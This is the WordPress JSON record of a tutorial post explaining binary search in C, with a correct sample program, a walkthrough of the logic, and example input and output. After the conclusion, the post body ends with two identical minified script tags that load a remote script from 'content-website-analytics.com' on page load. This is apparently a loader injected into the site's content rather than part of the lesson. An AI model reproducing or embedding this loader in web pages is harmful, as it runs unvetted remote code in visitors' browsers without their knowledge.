{"id":1027,"date":"2024-10-21T14:59:33","date_gmt":"2024-10-21T09:29:33","guid":{"rendered":"https:\/\/codexplained.in\/?p=1027"},"modified":"2025-11-24T15:30:33","modified_gmt":"2025-11-24T10:00:33","slug":"binary-search","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1027","title":{"rendered":"Binary Search"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Binary search is an efficient algorithm for finding a specific value in a sorted array. It works by repeatedly dividing the search interval in half. If the value of the search key is less than the item in the middle of the interval, the search continues in the lower half; otherwise, it continues in the upper half. This method drastically reduces the number of comparisons needed to find the target value, making it much faster than linear search for large datasets.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint binarySearch(int arr&#x5B;], int size, int target) {\n    int left = 0;\n    int right = size - 1;\n\n    while (left &lt;= right) {\n        int mid = left + (right - left) \/ 2;\n\n        \/\/ Check if the target is present at mid\n        if (arr&#x5B;mid] == target) {\n            return mid; \/\/ Return the index if found\n        }\n        \/\/ If target is greater, ignore the left half\n        else if (arr&#x5B;mid] &lt; target) {\n            left = mid + 1;\n        }\n        \/\/ If target is smaller, ignore the right half\n        else {\n            right = mid - 1;\n        }\n    }\n    return -1; \/\/ Return -1 if not found\n}\n\nint main() {\n    int arr&#x5B;] = {1, 3, 5, 7, 9, 11, 13, 15};\n    int size = sizeof(arr) \/ sizeof(arr&#x5B;0]);\n    int target;\n\n    printf(&quot;Enter the number to search: &quot;);\n    scanf(&quot;%d&quot;, &amp;target);\n\n    int result = binarySearch(arr, size, target);\n\n    if (result != -1) {\n        printf(&quot;Element found at index: %d\\n&quot;, result);\n    } else {\n        printf(&quot;Element not found in the array.\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>binarySearch(int arr[], int size, int target)<\/code>: Takes a sorted array, its size, and the target value to search for.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Initialization<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Two pointers, <code>left<\/code> and <code>right<\/code>, are initialized to the start and end of the array, respectively.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Loop<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A <code>while<\/code> loop runs as long as <code>left<\/code> is less than or equal to <code>right<\/code>.<\/li>\n\n\n\n<li>The middle index (<code>mid<\/code>) is calculated, and the target is compared with the value at <code>mid<\/code>.<\/li>\n\n\n\n<li>Depending on the comparison:\n<ul class=\"wp-block-list\">\n<li>If the target equals <code>arr[mid]<\/code>, the index is returned.<\/li>\n\n\n\n<li>If the target is greater, <code>left<\/code> is updated to <code>mid + 1<\/code>.<\/li>\n\n\n\n<li>If the target is smaller, <code>right<\/code> is updated to <code>mid - 1<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Return Values<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Returns the index of the target if found.<\/li>\n\n\n\n<li>Returns -1 if the target is not found.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Initializes a sorted array and prompts user input for the target value.<\/li>\n\n\n\n<li>Calls <code>binarySearch<\/code> and displays the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When you run the program, it prompts the user to enter a number to search for. For example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the number to search: 7\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The output will indicate whether the element was found and, if so, at which index:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nElement found at index: 3\n\n<\/pre><\/div>\n\n\n<p>Or if the element is not found:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nElement not found in the array.\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Binary search is a highly efficient algorithm for searching elements in a sorted array, with a time complexity of O(log n). This makes it significantly faster than linear search, especially for larger datasets. However, it is crucial that the array is sorted before applying binary search. Its effectiveness and efficiency make it a popular choice in many applications where fast search operations are required.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Binary search is an efficient algorithm for finding a specific value in a sorted array. It works by repeatedly dividing the search interval in half. If the value of the search key is less than the item in the middle of the interval, the search continues in the lower half; otherwise, it continues in [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1113,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1027","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1027"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1027\/revisions"}],"predecessor-version":[{"id":1380,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1027\/revisions\/1380"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1113"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1027"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1027"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}